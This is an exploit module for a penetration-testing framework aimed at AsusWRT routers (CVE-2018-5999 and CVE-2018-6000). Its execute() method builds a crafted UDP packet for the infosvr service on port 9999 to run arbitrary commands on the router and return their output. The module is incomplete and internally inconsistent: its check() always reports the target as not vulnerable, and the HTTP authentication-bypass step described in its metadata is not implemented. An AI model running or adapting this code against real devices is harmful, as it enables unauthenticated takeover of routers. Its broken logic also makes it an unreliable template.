AsusWRT Lan RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""AsusWRT Lan RCE"""

import struct
import socket

from kittysploit import *
from lib.exploit.handler import Handler


class Module(Exploit, Handler):
    __info__ = {
        'name': 'AsusWRT Lan RCE',
        'description': 'Module exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. The HTTP server contains vulnerability that allows bypass authentication via POST requests. Combining this with another vulnerability in the VPN configuration upload functionality allows setting NVRAM configuration variables directly from the POST request. By setting nvram variable ateCommand_flag to 1 it is possible to enable special command mode which allows executing commands via infosvr server listening on port UDP 9999. Module was tested on Asus RT-AC68U 3.0.0.4.380_7378.',
        'author': ['Pedro Ribeiro', 'Marcin Bury'],
        'cve': ['CVE-2018-5999', 'CVE-2018-6000'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-5999', 'https://nvd.nist.gov/vuln/detail/CVE-2018-6000', 'https://blogs.securiteam.com/index.php/archives/3589', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt', 'http://seclists.org/fulldisclosure/2018/Jan/78'],
        'tags': ['iot', 'router', 'rce', 'unauth', 'cve-2018-5999', 'cve-2018-6000'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    infosvr_port = OptPort(9999, "Target InfoSVR Port")

    def execute(self, cmd):
        ibox_comm_pkt_hdr_ex = (
            pack("<B", 0x0c) +                      # NET_SERVICE_ID_IBOX_INFO 0xC
            pack("<B", 0x15) +                      # NET_PACKET_TYPE_CMD 0x15
            pack("<H", 0x33) +                      # NET_CMD_ID_MANU_CMD 0x33
            bytes(self.random_text(4), "utf-8") +  # INFO
            bytes(self.random_text(6), "utf-8") +  # MAC Address
            bytes(self.random_text(32), "utf-8")   # Password
        )

        cmd = bytes(cmd, "utf-8") + pack("<B", 0x00)
        pkt_syscmd = (
            pack("<H", len(cmd)) +
            cmd
        )

        payload = ibox_comm_pkt_hdr_ex + pkt_syscmd + bytes(self.random_text(512 - len(ibox_comm_pkt_hdr_ex + pkt_syscmd)), "utf-8")

        udp_client = self.udp_create(port=self.infosvr_port)
        udp_client.send(payload)
        response = udp_client.recv(512)
        udp_client.close()

        if response and len(response) == 512:
            length = unpack('<H', response[14:16])[0]
            return str(response[16: 16 + length], "utf-8")

        return ""
    def check(self):
        return {"vulnerable": False, "reason": "Unable to verify", "confidence": "low"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()